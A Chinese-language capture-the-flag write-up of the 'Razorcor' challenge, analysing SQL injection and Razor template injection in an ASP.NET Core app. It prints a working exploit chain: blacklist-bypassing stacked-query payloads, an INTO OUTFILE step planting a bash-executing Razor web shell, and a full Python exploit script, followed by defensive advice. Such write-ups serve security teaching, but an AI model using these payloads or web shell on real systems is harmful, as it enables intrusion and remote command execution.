第十八届软件系统安全赛攻防赛半决赛-Razorcor Writeup
字数 686 2025-08-30 06:50:28
Razorcor 漏洞分析与利用教学文档
漏洞概述
本教学文档详细分析第十八届软件系统安全赛攻防赛半决赛中的 Razorcor 题目,这是一个基于 ASP.NET Core 的 Web 应用程序,存在 SQL 注入和 Razor 模板注入漏洞,最终可导致远程代码执行(RCE)。
漏洞分析
1. 登录功能 SQL 注入漏洞
漏洞位置:登录功能中的 SQL 查询语句使用了字符串拼接:
MySqlCommand mySqlCommand = new MySqlCommand(
"select username from userlist where username='" + username +
"'and password='" + password + "'",
mySqlConnection);
黑名单过滤机制:
private static readonly List<string> BlacklistKeywords = new List<string>(){
"select", "insert", "update", "delete", "alter", "benchmark",
"or", "and", "--", "'", "\"", "/*", "*/", "set", "0x", "do", "case", "when"
};
public static bool IsSqlInjection(string input) {
input = input.ToLower();
foreach (string blacklistKeyword in HomeController.BlacklistKeywords) {
if (Regex.IsMatch(input, Regex.Escape(blacklistKeyword), RegexOptions.IgnoreCase)) {
Console.WriteLine(blacklistKeyword);
return true;
}
}
return false;
}
2. Razor 模板注入漏洞
渲染逻辑:
- 只有用户名为 "dartroot" 才能访问 Index 路由进行模板渲染
- 渲染功能允许指定文件进行渲染
漏洞利用步骤
1. 绕过 SQL 注入防护
绕过方法:
- 使用反斜杠(
\)转义 username 后的单引号:username='\'and password='...' - 使用
replace关键字或prepare + hex编码绕过关键词过滤
2. 插入 dartroot 用户
Payload 构造:
username = "\\"
password = ";replace into userlist values (concat(char(100),char(97),char(114),char(116),char(114),char(111),char(111),char(116)), concat(char(49),char(50),char(51)));#"
3. 写入恶意 Razor 模板
恶意模板内容:
@{
var cmd = Context.Request.Query["cmd"];
System.Diagnostics.Process p = new System.Diagnostics.Process();
p.StartInfo.FileName = "/bin/bash";
p.StartInfo.Arguments = $"-c {cmd}";
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.RedirectStandardError = true;
p.StartInfo.UseShellExecute = false;
p.StartInfo.CreateNoWindow = true;
p.Start();
var stdout = p.StandardOutput.ReadToEnd().Replace("<", "<").Replace(">", ">");
var stderr = p.StandardError.ReadToEnd().Replace("<", "<").Replace(">", ">");
p.WaitForExit();
}
<pre>@stdout</pre>
<pre style="color: red">@stderr</pre>
写入方法:
write_file = "select unhex(\"恶意模板的hex编码\") into outfile \"/app/Views/Home/shell.cshtml\""
password = ";prepare exp from concat(char(...));execute exp;#"
4. 触发 RCE
- 使用 dartroot 用户登录
- 访问
/?inform=shell&cmd=cat /flag执行命令
完整 EXP
import urllib.parse
import requests
import html
def strtochr(string):
tmp = ",".join(f"chr({ord(i)})" for i in string)
res = f"concat({tmp})"
return res
s = requests.Session()
target = "http://127.0.0.1"
# 插入dartroot用户
username = "\\"
password = f";replace into userlist values ({strtochr('dartroot')}, {strtochr('123')});#"
payload = f"username={urllib.parse.quote(username)}&password={urllib.parse.quote(password)}"
resp = s.post(
url=target + "/Home/Login",
data=payload,
headers={"Content-Type": "application/x-www-form-urlencoded"},
)
# 写入恶意模板
shell = '@{var cmd = Context.Request.Query["cmd"];System.Diagnostics.Process p = new System.Diagnostics.Process();p.StartInfo.FileName = "/bin/bash";p.StartInfo.Arguments = $"-c {cmd}";p.StartInfo.RedirectStandardOutput = true;p.StartInfo.RedirectStandardError = true;p.StartInfo.UseShellExecute = false;p.StartInfo.CreateNoWindow = true;p.Start();var stdout = p.StandardOutput.ReadToEnd().Replace("<", "<").Replace(">", ">");var stderr = p.StandardError.ReadToEnd().Replace("<", "<").Replace(">", ">");p.WaitForExit();}<pre>@stdout</pre><pre style="color: red">@stderr</pre>'.encode()
write_file = f"select unhex(\"{shell.hex()}\") into outfile \"/app/Views/Home/shell.cshtml\""
password = f";prepare exp from {strtochr(write_file)};execute exp;#"
payload = f"username={urllib.parse.quote(username)}&password={urllib.parse.quote(password)}"
resp = s.post(
url=target + "/Home/Login",
data=payload,
headers={"Content-Type": "application/x-www-form-urlencoded"},
)
# 登录dartroot用户
payload = "username=dartroot&password=123"
resp = s.post(
url=target + "/Home/Login",
data=payload,
headers={"Content-Type": "application/x-www-form-urlencoded"},
)
# 执行命令
cmd = "\"cat /flag\""
res = s.get(url=target + f"?inform=shell&cmd={cmd}").text
print(html.unescape(res[res.index("<pre>")+5:res.index("</pre>")]))
防御建议
-
SQL 注入防御:
- 使用参数化查询而非字符串拼接
- 避免使用黑名单过滤,采用白名单验证输入
-
模板注入防御:
- 限制模板渲染的文件路径
- 禁用动态模板渲染功能
- 对模板内容进行严格审查
-
权限控制:
- 限制数据库用户的文件写入权限
- 设置合理的 secure_file_priv 值
环境获取
测试环境可通过 Docker 获取:
docker pull zeroc0077/razorcor:latest